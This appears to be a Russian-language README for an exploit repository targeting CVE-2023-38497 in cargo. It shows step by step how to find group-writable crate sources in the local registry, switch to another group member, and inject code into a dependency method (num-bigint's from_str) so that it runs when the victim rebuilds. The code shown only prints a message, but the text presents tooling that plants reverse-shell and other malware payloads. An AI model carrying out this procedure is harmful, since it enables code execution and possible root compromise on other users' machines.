
Эксплойт Cargo из CVE-2023-38497
В cargo версии 1.7.0 обнаружена новая уязвимость, как описано здесь.
Сначала нужно убедиться, что ваша версия cargo уязвима
cargo --version
Предположим, у меня есть проект cargo со следующим файлом src/main.rs:
use num_bigint::BigInt;
use std::str::FromStr;
// Silly guessing game
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Make a guess: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Error reading stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("That's right");
break;
}
}
}
Если я запущу программу:
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!
Пока всё в порядке.
Далее, среди всех установленных в вашей системе крейтов отфильтруйте те, у которых неудачная конфигурация прав доступа, то есть файлы, доступные для записи группе или любым другим пользователям этой машины
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
Это даст список всех уязвимых исходных файлов Rust. Из них выберите файл, подходящий для вашей атаки, — в нём должен быть определён метод, который используется в исходном коде целевого проекта cargo.
Из приведённого выше списка я нахожу следующий уязвимый файл:
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
Который, как и было обещано ранее, имеет следующие права: -rw-rw-r--
Следовательно, его может изменить любой пользователь из той же группы, что и владелец проекта cargo. Это пугает. Но представьте, что любой пользователь мог бы записывать в этот файл, — да, существуют крейты с такими правами.
Теперь вы можете добавить нового пользователя на свою машину или использовать уже существующего, отличного от пользователя проекта, который входит в ту же группу, что и владелец целевого файла. Например, на моей машине этот исходный файл имеет следующие владельца и группу:
atreides people
а другой мой пользователь при выполнении команды id даёт следующий результат:
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
Теперь мы знаем, что пользователь bob может записывать в наш целевой файл и в любой другой с такими правами. Переключитесь на bob и продолжайте.
Взглянув на нашу игру-угадайку, мы видим, что в ней используется метод from_str структуры BigInt. Это может быть интересный метод для изучения.
Из целевого файла я извлёк такой фрагмент кода:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
А что, если сделать так:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Message from beyond");
BigInt::from_str_radix(s, 10)
}
}
И перезапустить, очистив целевую директорию:
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!
Ого! Представьте, что вы пишете свой проект cargo и получаете такие сообщения.
Обратите внимание: это произойдёт только в том случае, если целевая директория была предварительно удалена, то есть cargo должен скомпилировать крейт после того, как вы изменили исходный файл.
Это лишь демонстрация того, как эксплуатируется эта уязвимость, но представьте, что вы помещаете в исходный файл какую-либо нагрузку. Этот репозиторий нацелен на установление reverse shell-соединения с учётной записью пользователя всякий раз, когда он запускает проект cargo.
Это серьёзная уязвимость, если учесть, что могут существовать установки cargo с правами root, и тогда размещённая нагрузка будет выполняться с такими привилегиями.
В этом проекте вы найдёте следующие утилиты:
Выполняет поиск по локальному архиву cargo и целевому проекту cargo, чтобы найти все конкретные методы, которые могут быть использованы в исходном коде цели. Если вы хотите эксплуатировать какой-то конкретный метод или у вас нет прав на чтение целевого проекта cargo, пропустите анализатор vanalyzer в процедуре атаки.
./vanalyzer/run.sh <target-project-path> <target-username>
Все типы пейлоадов (прежде всего reverse shell и другие вредоносные программы), которые можно разместить в исходном коде целевого крейта. Все доступные на данный момент пейлоады:
Макетная оболочка (mock shell), которая принимает команды для запуска анализатора уязвимостей, выбирает один из перечисленных выше пейлоадов и выбранный для эксплуатации метод из анализатора уязвимостей, а затем встраивает (копирует и вставляет) пейлоад в исходный код.
cargo run
vanalyzer <cargo_project> <target_username>
integrate <file_no> <method_no> <payload>
exploit <path_to_local_archive_crate_file> <method's_name> <payload>
ok